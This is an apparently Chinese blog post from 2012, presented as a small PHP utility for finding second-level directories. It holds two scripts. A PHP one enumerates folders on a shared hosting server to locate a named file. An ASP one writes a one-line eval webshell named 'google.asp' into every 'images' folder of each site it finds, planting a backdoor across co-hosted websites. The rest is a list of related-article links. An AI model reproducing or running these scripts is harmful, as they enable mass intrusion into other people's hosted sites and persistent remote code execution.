php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
社区(php&amp;&amp;mysql)四
Oct 09 PHP
一个改进的UBB类
Oct 09 PHP
php的正则处理函数总结分析
Jun 20 PHP
PHP教程 变量定义
Oct 23 PHP
php数组函数序列之prev() - 移动数组内部指针到上一个元素的位置,并返回该元素值
Oct 31 PHP
php和mysql中uft-8中文编码乱码的几种解决办法
Apr 19 PHP
推荐10个提供免费PHP脚本下载的网站
Dec 31 PHP
详解PHP的Laravel框架中Eloquent对象关系映射使用
Feb 26 PHP
php+html5+ajax实现上传图片的方法
May 14 PHP
根据key删除数组中指定的元素实现方法
Mar 02 PHP
Laravel 类和接口注入相关的代码
Oct 15 PHP
php使用pthreads v3多线程实现抓取新浪新闻信息操作示例
Feb 21 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP中数字检测is_numeric与ctype_digit的区别介绍
2012/10/04 PHP
php防止sql注入简单分析
2015/03/18 PHP
Zend Framework入门应用实例详解
2016/12/11 PHP
PHP实现的redis主从数据库状态检测功能示例
2017/07/20 PHP
PHP实现用户异地登录提醒功能的方法【基于thinkPHP框架】
2018/03/15 PHP
Laravel手动返回错误码示例
2019/10/22 PHP
很棒的学习jQuery的12个网站推荐
2011/04/28 Javascript
jQuery调用WebService的实现代码
2011/06/19 Javascript
jquery实现图片等比例缩放以及max-width在ie中不兼容解决
2013/03/21 Javascript
JQuery实现当鼠标停留在某区域3秒后自动执行
2014/09/09 Javascript
js对象继承之原型链继承实例
2015/01/10 Javascript
Vue.js 2.0 和 React、Augular等其他前端框架大比拼
2016/10/08 Javascript
前端js弹出框组件使用方法
2020/08/24 Javascript
JS中闭包的经典用法小结(2则示例)
2016/12/28 Javascript
完美解决input[type=number]无法显示非数字字符的问题
2017/02/28 Javascript
详解用webpack2.0构建vue2.0超详细精简版
2017/04/05 Javascript
Javascript实现数组中的元素上下移动
2017/04/28 Javascript
element ui 表格动态列显示空白bug 修复方法
2018/09/04 Javascript
通过JS运行机制的角度说说作用域
2019/03/12 Javascript
详解javascript对数组和json数组的操作
2019/04/15 Javascript
angular使用md5,CryptoJS des加密的方法
2019/06/03 Javascript
webpack 如何解析代码模块路径的实现
2019/09/04 Javascript
详解Python的迭代器、生成器以及相关的itertools包
2015/04/02 Python
八大排序算法的Python实现
2021/01/28 Python
selenium+python设置爬虫代理IP的方法
2018/11/29 Python
python实现的接收邮件功能示例【基于网易POP3服务器】
2019/09/11 Python
python 实现多线程下载视频的代码
2019/11/15 Python
长青弘远的面试题
2012/06/09 面试题
总经理的岗位职责
2014/02/23 职场文书
《找不到快乐的波斯猫》教学反思
2014/02/24 职场文书
护士节策划方案
2014/05/19 职场文书
承诺书范文
2014/06/03 职场文书
商场促销活动总结
2014/07/10 职场文书
个人股份转让协议书范本
2014/10/26 职场文书
2014年学生工作总结
2014/11/20 职场文书
《纸船和风筝》教学反思
2016/02/18 职场文书